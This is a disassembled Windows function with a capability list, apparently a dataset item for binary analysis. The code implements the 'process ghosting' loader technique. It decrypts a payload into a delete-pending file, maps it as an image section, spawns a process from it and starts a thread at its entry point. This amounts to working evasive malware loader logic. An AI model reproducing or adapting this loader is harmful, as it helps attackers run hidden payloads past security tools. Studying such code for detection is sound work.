Function at 0x140002670
Capabilities:
Get file size
Link many functions at runtime
Parse pe header
Read file on windows
Read file via mapping
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rdi, rcx
mov rsi, r8
lea rcx, str.__Creating_Target_File...
mov r15, rdx
call fcn.140001d60
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0010000
mov rcx, rsi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x1400026fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Error_Code__08X_r_n
call fcn.140001d60
jmp 0x140002e65
lea rcx, str.Success_r_n
mov qword [rsp + 0x318], rbx
call fcn.140001d60
lea rcx, [0x140021790]
mov byte [rbp + 0x150], 1
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtSetInformationFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Setting_Target_File_in_Delete_Pending_State...
mov rbx, rax
call fcn.140001d60
mov r9d, 1
mov dword [rsp + 0x20], 0xd
lea r8, [rbp + 0x150]
mov rcx, r14
lea rdx, [rbp + 0x160]
call rbx
cmp dword [rbp + 0x160], r13d
jge 0x14000278a
mov edx, eax
lea rcx, str.Failed___Error_Code__08X_r_n
call fcn.140001d60
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002e5d
lea rcx, str.Success_r_n
call fcn.140001d60
lea rcx, str.__Copying_Source_File...
call fcn.140001d60
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400027ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Error_Code__08X_r_n
call fcn.140001d60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002e5d
lea rdx, [rbp + 0x154]
mov qword [rsp + 0x2c0], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r12d, [rax - 4]
mov ecx, r12d
call fcn.140009eb8
lea r9, [rbp + 0x154]
mov qword [rsp + 0x68], rax
mov r8d, r12d
mov qword [rsp + 0x20], r13
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002e37
mov edx, dword [rbp + 0x154]
lea rcx, str.Success____d_bytes_readed_r_n
call fcn.140001d60
lea r9, [rbp + 0x154]
mov qword [rsp + 0x20], r13
mov r8d, 4
lea rdx, [rbp + 0x158]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002e37
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.__Decrypting_File_contents...
call fcn.140001d60
mov eax, r12d
mov rdi, 0xffffffffffffffff
and al, 0xf
neg al
mov eax, r12d
sbb ebx, ebx
and eax, 0xfffffff0
and ebx, 0x10
add ebx, eax
mov ecx, ebx
mov dword [rsp + 0x60], ebx
add ecx, 1
cmovb rcx, rdi
call fcn.140009eb8
lea r8d, [rbx + 1]
xor edx, edx
mov rcx, rax
mov r13, rax
call fcn.140004070
xorps xmm0, xmm0
mov rax, rdi
movups xmmword [rbp + 0x1a0], xmm0
nop word [rax + rax]
inc rax
cmp byte [r15 + rax], 0
jne 0x1400028f0
cmp rax, 0x10
jbe 0x140002908
mov r8d, 0x10
jmp 0x14000291a
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x140002910
mov rdx, r15
lea rcx, [rbp + 0x1a0]
call fcn.140004f40
mov r15, qword [rsp + 0x68]
xor ebx, ebx
test r12d, r12d
je 0x140002979
xor eax, eax
nop word [rax + rax]
cdqe
lea rcx, [rax + r13]
mov qword [0x140026c48], rcx
movups xmm0, xmmword [rax + r15]
lea rax, [rbp + 0x1a0]
mov qword [0x140026c40], rax
movups xmmword [rcx], xmm0
call section..text
call fcn.140001b20
inc ebx
mov eax, ebx
shl eax, 4
cmp eax, r12d
jb 0x140002940
mov r8d, dword [rsp + 0x60]
mov edx, dword [rbp + 0x158]
mov dword [rbp + 0x154], r8d
cmp r8d, edx
jb 0x140002e29
test r13, r13
je 0x140002e29
lea rcx, str.Success___Original_Size__d_bytes_r_n
call fcn.140001d60
lea rcx, str.__Writing_File_contents...
call fcn.140001d60
mov r8d, dword [rbp + 0x158]
lea r9, [rbp + 0x154]
mov rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400029ed
lea rcx, str.Failed___Unable_to_write_File_Content
call fcn.140001d60
jmp 0x140002e4c
mov edx, dword [rbp + 0x158]
lea rcx, str.Success____d_bytes_writed_r_n
call fcn.140001d60
mov rcx, r15
call fcn.140009ea4
mov rcx, r13
call fcn.140009ea4
lea rcx, [0x140021790]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Creating_Section_File_Mapping...
mov rbx, rax
call fcn.140001d60
mov qword [rsp + 0x30], r14
lea rcx, [rbp - 0x80]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
call rbx
test eax, eax
jns 0x140002a78
mov edx, eax
lea rcx, str.Failed___Error_Code__X_r_n
call fcn.140001d60
jmp 0x140002e4c
lea rcx, str.Success_r_n
call fcn.140001d60
lea rcx, str.__Creating_Map_View_from_the_file...
call fcn.140001d60
mov ebx, dword [rbp + 0x158]
xor r13d, r13d
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov rcx, r14
lea r8d, [r13 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r15, rax
test rax, rax
jne 0x140002ad6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Cannot_create_a_map_from_the_File__08X
call fcn.140001d60
jmp 0x140002e55
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rcx, r15
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
test rax, rax
jne 0x140002b12
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Cannot_map_the_File__08X
call fcn.140001d60
mov rcx, r15
jmp 0x140002e4f
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140002b37
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jg 0x140002b37
cmp dword [rax + rbx], 0x4550
jne 0x140002b37
mov r12d, dword [rax + rbx + 0x28]
jmp 0x140002b3a
mov r12d, r13d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, r12d
lea rcx, str.Success___Entry_point_0x_08X_r_n
call fcn.140001d60
lea rcx, [0x140021790]
mov qword [rsp + 0x70], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Creating_Child_Process...
mov rbx, rax
call fcn.140001d60
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], r13
lea rcx, [rsp + 0x70]
mov r9, rax
mov qword [rsp + 0x30], r13
mov rax, qword [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov edx, 0x1fffff
mov byte [rsp + 0x20], 1
call rbx
test eax, eax
jns 0x140002bdc
mov edx, eax
lea rcx, str.Failed___Error_Code__X_r_n
call fcn.140001d60
jmp 0x140002e55
xorps xmm0, xmm0
lea rcx, [0x140021790]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x70]
lea r8, [rbp + 0x170]
mov r9d, 0x30
mov qword [rsp + 0x20], r13
xor edx, edx
call rax
test eax, eax
jns 0x140002c41
lea rcx, str.Failed___NtQueryInformationProcess_failed_r_n
call fcn.140001d60
jmp 0x140002e55
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
lea rcx, str.Success___Process_ID__d_r_n
call fcn.140001d60
lea rcx, str.__Assigning_Process_Arguments_and_Environment_Variables...
call fcn.140001d60
mov rcx, rdi
nop dword [rax]
inc rcx
cmp byte [rsi + rcx], r13b
jne 0x140002c70
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.140009eb8
mov rbx, rax
mov r8, rdi
nop word [rax + rax]
cmp byte [rsi + r8 + 1], r13b
lea r8, [r8 + 1]
jne 0x140002ca0
lea r8, [r8*2 + 2]
xor edx, edx
mov rcx, rbx
call fcn.140004070
nop dword [rax]
inc rdi
cmp byte [rsi + rdi], r13b
jne 0x140002cc0
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.14000712c
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x170]
mov r8, rbx
call fcn.140001e20
test eax, eax
je 0x140002e55
mov rcx, rbx
call fcn.140009ea4
lea rcx, str.Success_r_n
call fcn.140001d60
mov rdi, qword [rsp + 0x70]
lea rcx, [rbp - 0x70]
xor edx, edx
mov r8d, 0x1b8
call fcn.140004070
mov rbx, qword [rbp + 0x178]
lea rcx, [0x140021790]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtReadVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x1b8
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x70]
mov rdx, rbx
mov rcx, rdi
call rax
test eax, eax
jns 0x140002d75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_read_remote_PEB____08X
call fcn.140001d60
jmp 0x140002e55
mov edi, r12d
lea rcx, [0x140021790]
add rdi, qword [rbp - 0x60]
mov qword [rsp + 0x78], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Creating_Child_Thread...
mov rbx, rax
call fcn.140001d60
mov r9, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], r13
xor r8d, r8d
mov qword [rsp + 0x48], r13
mov edx, 0x1fffff
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdi
call rbx
test eax, eax
jns 0x140002dfe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___NtCreateThreadEx_failed___Error_Code__08X_r_n
call fcn.140001d60
jmp 0x140002e55
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov edx, eax
lea rcx, str.Success___Threat_ID__d_r_n
call fcn.140001d60
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140002e55
lea rcx, str.Failed___Unable_to_decrypt_file___Original_Size__d__Decrypted_Size__d_r_n
call fcn.140001d60
jmp 0x140002e4c
lea rcx, str.Failed___Unable_to_read_file_Content_r_n
call fcn.140001d60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x2c0]
mov rbx, qword [rsp + 0x318]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140002f80
add rsp, 0x2c8
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret